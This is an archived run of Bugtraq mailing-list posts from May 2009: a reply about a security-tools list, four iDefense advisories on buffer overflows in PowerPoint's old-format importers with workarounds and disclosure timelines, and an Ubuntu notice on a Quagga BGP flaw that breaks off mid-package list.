Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 11995 invoked from network); 12 May 2009 20:19:01 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=gamma;
h=domainkey-signature:received:received:subject:from:to:cc
:in-reply-to:references:content-type:date:message-id:mime-version
:x-mailer:content-transfer-encoding;
bh=ox+hiQHjmHSztmf5ksiUTPJzWlW/C0e0noNX+FVnH94=;
b=thcI7MBqCSSa6q/ZOBOloYEQL3i7JbSTRiF4jiXZEqEyGVHikpTWEMTVzkInb7d5pk
V9/2ZUcOFnYe1CFSv6LMRzv+2msDQCJdh1vn2SV3XL/mKNNkMEnbWyg5J1FHUrdbCelh
xGiD3nAu7DLC1m7FzqEUCTLoKFhnnkiaqYsYUDomainKey-Signature: a=rsa-sha1; c=nofws;
d=gmail.com; s=gamma;
h=subject:from:to:cc:in-reply-to:references:content-type:date
:message-id:mime-version:x-mailer:content-transfer-encoding;
b=V+Gal47G07ZAcgxugqaSz1BPwHv2JucKVG8Hy2B0oQY6RdYQPZS9gvJPQ4ph3YL3aM
Jnp7WuXzkd6gmwLpHZqz2WS2be3nv6WsjUwK3B95cm5GIPJGL7L/zNGqn8pHwFDl4LFl
Fn4LBYOpm+FG/mLobk5uTw/gj8+edYHxRNv1oSubject: Re: The security tools list, new version with more than 200 new
tools!
From: Ying <ropstrip@gmail.com>
To: Stephen Mullins <steve.mullins.work@gmail.com>
Cc: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>
In-Reply-To: <a3c2e9650905121052t5b824cccv52f94553ecc01a11@mail.gmail.com>
References: <1242133336.4979.19.camel@localhost>
<a3c2e9650905121052t5b824cccv52f94553ecc01a11@mail.gmail.com>
Content-Type: text/plain; charset="UTF-8"
Date: Tue, 12 May 2009 20:28:19 +0200
Message-Id: <1242152899.4667.50.camel@localhost>
Mime-Version: 1.0
X-Mailer: Evolution 2.24.5
Content-Transfer-Encoding: 8bit
Status:
Hi Stephen,
your welcome. I would like the list for everyone and by everyone. So
why is public and accept contributions from anyone who wants to help
(help that is very welcome).
Regards
El mar, 12-05-2009 a las 13:52 -0400, Stephen Mullins escribió:
> Nice list. Thanks for doing the work to compile that and making it
> available to the public.
>
> On Tue, May 12, 2009 at 9:02 AM, Ying <ropstrip@gmail.com> wrote:
> >
> > Hello everyone,
> > I would like to inform you that the new list of security tools, and the
> > website, has been updated. The changes were:
> > - The information was classified by type and operating system.
> > - I have added new types of tools, adding not only tools but also
> > dictionaries and rainbow tables, for example.
> > Thank you very much for all that have worked with your contributions
> > to the list. I hope you sigais doing.
> > Remembering the URL of site:
> >
> >
http://securitytoolslist.domandhost.com
> >
> >
> > Best regards.
> >
> >
> >
From - Tue May 12 17:34:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000079a0
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40306-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 40A19ED4C3
for <lists@securityspace.com>; Tue, 12 May 2009 17:25:26 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 0E85D2370F9; Tue, 12 May 2009 15:21:17 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 13581 invoked from network); 12 May 2009 21:13:24 -0000
Message-ID: <4A09E66D.3080100@idefense.com>
Date: Tue, 12 May 2009 17:13:17 -0400
From: iDefense Labs <labs-no-reply@idefense.com>
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
MIME-Version: 1.0
To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org,
full-disclosure@lists.grok.org.uk
Subject: iDefense Security Advisory 05.12.09: Microsoft PowerPoint 4.2 Conversion
Filter Stack Buffer Overflow Vulnerability
X-Enigmail-Version: 0.95.7
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 05.12.09
http://labs.idefense.com/intelligence/vulnerabilities/
May 12, 2009
I. BACKGROUND
Microsoft PowerPoint is an application used for constructing
presentations, and comes with the Microsoft Office suite. For more
information, see the vendor's site found at the following link.
http://office.microsoft.com/en-us/powerpoint/default.aspx
II. DESCRIPTION
Remote exploitation of a heap corruption vulnerability in Microsoft
Corp.'s PowerPoint could allow an attacker to execute arbitrary code
with the privileges of the current user.
In particular, there is code that parses structures in the PowerPoint
file. If the number of these structures is greater than a certain
value, then memory corruption will occur. This memory corruption leads
to the executing of arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user opening the file. To exploit this
vulnerability, an attacker needs to convince a user to open a malicious
file.
IV. DETECTION
iDefense has confirmed the existence of these vulnerabilities in the
following versions of PowerPoint:
* PowerPoint 2000 SP3
* PowerPoint XP SP3
PowerPoint 2003 SP2 and SP3 contain the vulnerable code, but by default
are unable to open PowerPoint 4.2 formatted files. This is due to the
Office 2003 SP2/SP3 File Block Policy, which limits the file formats
that Office applications will open without special permissions. If the
targeted user has disabled the File Block Policy settings in PowerPoint
2003 SP3, then they are vulnerable. However, this is a non-default
configuration. More on this policy can be found at the following URL.
http://support.microsoft.com/kb/938810
Office 2007 and Office 2007 SP1 are not vulnerable to these issues.
V. WORKAROUND
Use the cacls program to deny access to the DLL containing the
vulnerable code, PP4X32.DLL. This will prevent the vulnerable DLL from
loading in PowerPoint, which will also prevent users from importing
PowerPoint 4.0 files. If Office 2003 SP3 is being used, then the
default behavior is to block the opening of PowerPoint 4.0 files. If
the default behavior has been changed, restoring it is an effective
workaround.
VI. VENDOR RESPONSE
Microsoft has released a patch which addresses this issue. For more
information, consult their advisory at the following URL:
http://www.microsoft.com/technet/security/Bulletin/MS09-017.mspx
VII. CVE INFORMATION
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2009-0227 to this issue. This is a candidate for inclusion in
the CVE list (
http://cve.mitre.org/), which standardizes names for
security problems.
VIII. DISCLOSURE TIMELINE
12/03/2008 - Initial Contact
12/15/2008 - Clarification Requested
12/15/2008 - Clarification Sent
12/15/2008 - PoC Requested
12/15/2008 - PoC Sent
01/06/2009 - Vendor Case # 8820 set
01/20/2009 - Vendor set tentative disclosure date of 06/09/2009
05/12/2009 - Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by Marsu.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright � 2009 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla -
http://enigmail.mozdev.org
iD8DBQFKCeZrbjs6HoxIfBkRAjT6AKDlLoJsnFYjMtZ+lquvO3C32GAuawCffs9m
9ilhgU4GKqsTc40I4CtzXTE=aKFT
-----END PGP SIGNATURE-----
From - Tue May 12 17:44:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000079a1
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40307-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 6B936ED34F
for <lists@securityspace.com>; Tue, 12 May 2009 17:39:24 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id CEA1123734E; Tue, 12 May 2009 15:33:52 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 14300 invoked from network); 12 May 2009 21:28:57 -0000
Message-ID: <4A09EA14.2010101@idefense.com>
Date: Tue, 12 May 2009 17:28:52 -0400
From: iDefense Labs <labs-no-reply@idefense.com>
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
MIME-Version: 1.0
To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org,
full-disclosure@lists.grok.org.uk
Subject: iDefense Security Advisory 05.12.09: Microsoft PowerPoint 4.2 Conversion
Filter Heap Corruption Vulnerability
X-Enigmail-Version: 0.95.7
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 05.12.09
http://labs.idefense.com/intelligence/vulnerabilities/
May 12, 2009
I. BACKGROUND
Microsoft PowerPoint is an application used for constructing
presentations, and comes with the Microsoft Office Suite. For more
information, see the vendor's site found at the following link.
http://office.microsoft.com/en-us/powerpoint/default.aspx
II. DESCRIPTION
Remote exploitation of a heap corruption vulnerability in Microsoft
Corp.'s PowerPoint could allow an attacker to execute arbitrary code
with the privileges of the current user.
In particular, there is code that parses structures in the PowerPoint
file. If the number of these structures is greater than a certain
value, then memory corruption will occur. This memory corruption leads
to the executing of arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user opening the file. To exploit this
vulnerability, an attacker needs to convince a user to open a malicious
file.
IV. DETECTION
iDefense has confirmed the existence of these vulnerabilities in the
following versions of PowerPoint:
* PowerPoint 2000 SP3
* PowerPoint XP SP3
PowerPoint 2003 SP2 and SP3 contain the vulnerable code, but by default
are unable to open PowerPoint 4.2 formatted files. This is due to the
Office 2003 SP2/SP3 File Block Policy, which limits the file formats
that Office applications will open without special permissions. If the
targeted user has disabled the File Block Policy settings in PowerPoint
2003 SP3, then they are vulnerable. However, this is a non-default
configuration. More on this policy can be found at the following URL.
http://support.microsoft.com/kb/938810
Office 2007 and Office 2007 SP1 are not vulnerable to these issues.
V. WORKAROUND
Use the cacls program to deny access to the DLL containing the
vulnerable code, PP4X32.DLL. This will prevent the vulnerable DLL from
loading in PowerPoint, which will also prevent users from importing
PowerPoint 4.0 files. If Office 2003 SP3 is being used, then the
default behavior is to block the opening of PowerPoint 4.0 files. If
the default behavior has been changed, restoring it is an effective
workaround.
VI. VENDOR RESPONSE
iDefense is currently working with the vendor to address this issue.
Since there is no vendor fix at this time, please handle this
information with sensitivity.
VII. CVE INFORMATION
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2009-0223 to this issue. This is a candidate for inclusion in
the CVE list (
http://cve.mitre.org/), which standardizes names for
security problems.
VIII. DISCLOSURE TIMELINE
02/24/2009 - Initial Contact
02/24/2009 - Initial Response
02/24/2009 - PoC Requested
03/05/2009 - PoC Sent
03/06/2009 - Vendor requests clarification - cannot reproduce
04/03/2009 - Vendor Case # 9037 set
04/23/2009 - Requested CVE from Vendor
04/23/2009 - Vendor set disclosure date of June 9
05/12/2009 - Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by Marsu.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright � 2009 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla -
http://enigmail.mozdev.org
iD8DBQFKCeoSbjs6HoxIfBkRAmRRAKDQXtPXSNKjKbK2P0XrdmWP8FgmlgCeJoep
bMFtPgt1UqA3ocdQaDYAnMA=Cr5S
-----END PGP SIGNATURE-----
From - Tue May 12 18:14:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000079a3
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40309-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id AFCCCED26D
for <lists@securityspace.com>; Tue, 12 May 2009 18:08:35 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 67E11237150; Tue, 12 May 2009 16:04:13 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 15674 invoked from network); 12 May 2009 21:58:06 -0000
Message-ID: <4A09F0E9.7090803@idefense.com>
Date: Tue, 12 May 2009 17:58:01 -0400
From: iDefense Labs <labs-no-reply@idefense.com>
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
MIME-Version: 1.0
To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org,
full-disclosure@lists.grok.org.uk
Subject: iDefense Security Advisory 05.12.09: Microsoft PowerPoint PPT 4.0
Importer Multiple Stack Buffer Overflow Vulnerabilities
X-Enigmail-Version: 0.95.7
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 05.12.09
http://labs.idefense.com/intelligence/vulnerabilities/
May 12, 2009
I. BACKGROUND
Microsoft PowerPoint is an application used for constructing
presentations, and comes with the Microsoft Office suite. For more
information, see the vendor's site found at the following link.
http://office.microsoft.com/en-us/powerpoint/default.aspx
II. DESCRIPTION
Remote exploitation of multiple stack-based buffer overflow
vulnerabilities in Microsoft Corp.'s PowerPoint could allow an attacker
to execute arbitrary code with the privileges of the current user.
The vulnerabilities exist within the importer for PowerPoint 4.0 format
files. This functionality is contained within the PP4X32.DLL.
The first vulnerability occurs when reading in a record header from the
file. Due to an incorrect buffer size calculation, it is possible to
overflow a stack-based buffer. Proper exploitation of this eventually
leads to control of the instruction pointer register, allowing for the
execution of arbitrary code.
The second vulnerability occurs when reading in record data from the
file. An integer is taken from the file, and used to control the number
of bytes to copy into a fixed size stack buffer. This leads to a
trivially exploitable stack-based buffer overflow.
III. ANALYSIS
Exploitation of these vulnerabilities results in the execution of
arbitrary code with the privileges of the user opening the file. To
exploit these vulnerabilities, an attacker needs to convince a user to
open a malicious file. After opening the file, no further interaction
is needed to trigger the vulnerability.
Since the vulnerabilities are stack-based buffer overflows, and it is
possible to overwrite SEH handlers or a frame pointer stored on the
stack, exploitation is relatively simple.
IV. DETECTION
iDefense has confirmed the existence of these vulnerabilities in the
following versions of PowerPoint:
PowerPoint 2000 SP3
PowerPoint XP SP3
PowerPoint 2003 SP2 and SP3 contain the vulnerable code, but by default
are unable to open PPT95 format files. This is due to the Office 2003
SP2/SP3 File Block Policy, which limits the file formats that Office
applications will open without special permissions. If the targeted
user has disabled the File Block Policy settings in PowerPoint 2003
SP3, then they are vulnerable. However, this is a non-default
configuration. More on this policy can be found at the following URL.
http://support.microsoft.com/kb/938810
Office 2007 and Office 2007 SP1 are not vulnerable to these issues.
V. WORKAROUND
Use the cacls program to deny access to the DLL containing the
vulnerable code, PP4X32.DLL. This will prevent the vulnerable DLL from
loading in PowerPoint, which will also prevent users from importing
PowerPoint 4.0 files. If Office 2003 SP3 is being used, then the
default behavior is to block the opening of PowerPoint 4.0 files. If
the default behavior has been changed, restoring it is an effective
workaround.
VI. VENDOR RESPONSE
Microsoft has released a patch which addresses this issue. For more
information, consult their advisory at the following URL:
http://www.microsoft.com/technet/security/Bulletin/MS09-017.mspx
VII. CVE INFORMATION
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2009-0220 to this issue. This is a candidate for inclusion in
the CVE list (
http://cve.mitre.org/), which standardizes names for
security problems.
VIII. DISCLOSURE TIMELINE
08/29/2008 - Initial Contact
08/29/2008 - Initial Response
08/29/2008 - PoC Requested
09/02/2008 - PoC Requested
09/03/2008 - PoC Sent
09/04/2008 - Vendor assigned case number
12/11/2008 - Status update received - no estimated release date
05/12/2009 - Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by Marsu.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright � 2009 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla -
http://enigmail.mozdev.org
iD8DBQFKCfDnbjs6HoxIfBkRArQSAKCGEEHjm6yhHYyqdFNxNZ5xmUUFMgCgzrSk
EtbM/hCi5n9hz7Ej61bIGxg=7zRV
-----END PGP SIGNATURE-----
From - Tue May 12 18:34:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000079a4
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40311-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 8526AED3F4
for <lists@securityspace.com>; Tue, 12 May 2009 18:32:33 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 38DF5236F69; Tue, 12 May 2009 16:27:16 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17205 invoked from network); 12 May 2009 22:26:15 -0000
Message-ID: <4A09F781.9090601@idefense.com>
Date: Tue, 12 May 2009 18:26:09 -0400
From: iDefense Labs <labs-no-reply@idefense.com>
User-Agent: Thunderbird 2.0.0.21 (Windows/20090302)
MIME-Version: 1.0
To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org,
full-disclosure@lists.grok.org.uk
Subject: iDefense Security Advisory 05.12.09: Microsoft PowerPoint PPT95 Import
Multiple Stack Buffer Overflow Vulnerabilities
X-Enigmail-Version: 0.95.7
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 05.12.09
http://labs.idefense.com/intelligence/vulnerabilities/
May 12, 2009
I. BACKGROUND
Microsoft PowerPoint is the presentation application that is included
with Microsoft Corp's Office productivity software suite. More
information is available at the following website.
http://office.microsoft.com/en-us/word/default.aspx
II. DESCRIPTION
Remote exploitation of multiple stack-based buffer overflow
vulnerabilities in Microsoft Corp.'s PowerPoint could allow an attacker
to execute arbitrary code with the privileges of the current user.
The vulnerabilities exist within the importer for PowerPoint 95 format
files. This functionality is contained within the PP7X32.DLL.
The first vulnerability occurs when reading data that describes a sound
object embedded in the file. A record length value is read in from the
file. This value is then used to control how many bytes are stored in a
fixed size stack buffer. There is no check performed to ensure that the
buffer can hold the number of bytes specified. This can lead to a stack
buffer overflow.
The second vulnerability occurs when reading in record name strings from
the file. A string from the file is copied into a fixed size stack
buffer without verifying that the destination buffer is large enough to
hold the string. This results in a stack buffer overflow.
III. ANALYSIS
Exploitation of these vulnerabilities results in the execution of
arbitrary code with the privileges of the user opening the file. To
exploit these vulnerabilities, an attacker needs to convince a user to
open a malicious file. After opening the file, no further interaction
is needed to trigger the vulnerability.
Since the vulnerabilities are stack based buffer overflows, and it is
possible to overwrite SEH handlers and function pointers stored on the
stack, exploitation is relatively simple.
IV. DETECTION
iDefense has confirmed the existence of these vulnerabilities in the
following versions of PowerPoint:
PowerPoint 2000 SP3
PowerPoint XP SP3
PowerPoint 2003 SP2 PowerPoint 2003 SP3 contains the vulnerable code,
but by default it is unable to open PPT95 format files. This is due to
the Office 2003 SP3 File Block Policy, which limits the file formats
that Office applications will open without special permissions. If the
targeted user has disabled the File Block Policy settings in PowerPoint
2003 SP3, then they are vulnerable. However, this is a non-default
configuration. More on this policy can be found at the following URL.
http://support.microsoft.com/kb/938810
Office 2007 and Office 2007 SP1 are not vulnerable to these issues.
V. WORKAROUND
Use the cacls program to deny access to the DLL containing the
vulnerable code, PP7X32.DLL. This will prevent the vulnerable DLL from
loading in PowerPoint, which will also prevent users from importing
PowerPoint 95 files. If Office 2003 SP3 is being used, then the default
behavior is to block the opening of PowerPoint 95 files. If the default
behavior has been changed, restoring it is an effective workaround.
VI. VENDOR RESPONSE
[Quoted vendor response if available. Otherwise include vendor fix
details.]
VII. CVE INFORMATION
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2009-1128 to this issue. This is a candidate for inclusion in
the CVE list (
http://cve.mitre.org/), which standardizes names for
security problems.
VIII. DISCLOSURE TIMELINE
06/16/2008 - Initial Contact
06/16/2008 - PoC Sent
06/17/2008 - Initial Response
06/18/2008 - Confirmation received - no estimated release date
07/22/2008 - Status Update Requested
07/23/2008 - Status Update Received - Update planned in November
12/11/2008 - Status Update Received - no estimated release date
02/19/2009 - Status Update Received - new case manager, estimated
release date 06/09/2009
04/23/2009 - Status Update - release on track
05/12/2009 - Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by Marsu.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright � 2009 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla -
http://enigmail.mozdev.org
iD8DBQFKCfd/bjs6HoxIfBkRAnRjAKCXyt8G7A0HPpdIIqq8zAM6EdsZsgCgqDhy
nDGfeoGMQYPikjJ9s0C9/gk=uFQB
-----END PGP SIGNATURE-----
From - Tue May 12 18:44:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c000079a5
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40313-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id A9ECDED4AB
for <lists@securityspace.com>; Tue, 12 May 2009 18:42:37 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 5B73F144563; Tue, 12 May 2009 16:37:40 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17894 invoked from network); 12 May 2009 22:34:41 -0000
Date: Tue, 12 May 2009 15:34:28 -0700
From: Kees Cook <kees@ubuntu.com>
To: ubuntu-security-announce@lists.ubuntu.com
Cc: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk
Subject: [USN-775-1] Quagga vulnerability
Message-ID: <20090512223428.GO9451@outflux.net>
Reply-To: Ubuntu Security <security@ubuntu.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
protocol="application/pgp-signature"; boundary="9zSXsLTf0vkW971A"
Content-Disposition: inline
Organization: Ubuntu
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.64 on 10.2.0.1
Status:
--9zSXsLTf0vkW971A
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
==========================================================Ubuntu Security Notice USN-775-1 May 12, 2009
quagga vulnerability
CVE-2009-1572
==========================================================
A security issue affects the following Ubuntu releases:
Ubuntu 6.06 LTS
Ubuntu 8.04 LTS
Ubuntu 8.10
Ubuntu 9.04
This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.
The problem can be corrected by upgrading your system to the
following package versions:
Ubuntu 6.06 LTS:
quagga 0.99.2-1ubuntu3.5
Ubuntu 8.04 LTS:
quagga 0.99.9-2ubuntu1.2
Ubuntu 8.10:
quagga 0.99.9-6ubuntu0.1
Ubuntu 9.04:
quagga 0.99.11-1ubuntu0.1
In general, a standard system upgrade is sufficient to effect the
necessary changes.
Details follow:
It was discovered that the BGP service in Quagga did not correctly
handle certain AS paths containing 4-byte ASNs. An authenticated remote
attacker could exploit this flaw to cause bgpd to abort, leading to a
denial of service.
Updated packages for Ubuntu 6.06 LTS:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.2-1ubuntu3.5.diff.gz
Size/MD5: 37396 292a1fd54c54ee38c5516a9ca6523684
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.2-1ubuntu3.5.dsc
Size/MD5: 808 d5f6cf9d134b206ae50a8cdb5ec440ef
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.2.orig.tar.gz
Size/MD5: 2185137 88087d90697fcf5fe192352634f340b3
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga-doc_0.99.2-1ubuntu3.5_all.deb
Size/MD5: 664112 e541fe24436631fe1dd0d9950c1d2e24
amd64 architecture (Athlon64, Opteron, EM64T Xeon):
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.2-1ubuntu3.5_amd64.deb
Size/MD5: 1404040 736f2c09298720560f32fdd1d07034c4
i386 architecture (x86 compatible Intel/AMD):
http://security.ubuntu.com/ubuntu/pool/main/q/quagga/quagga_0.99.2-1ubuntu3.5_i386.deb
Size/MD5: 1199076 382851e8e63c2d82a6b7be5a1dd3cbae
powerpc architecture (Apple Macintosh G3/G4/G5):
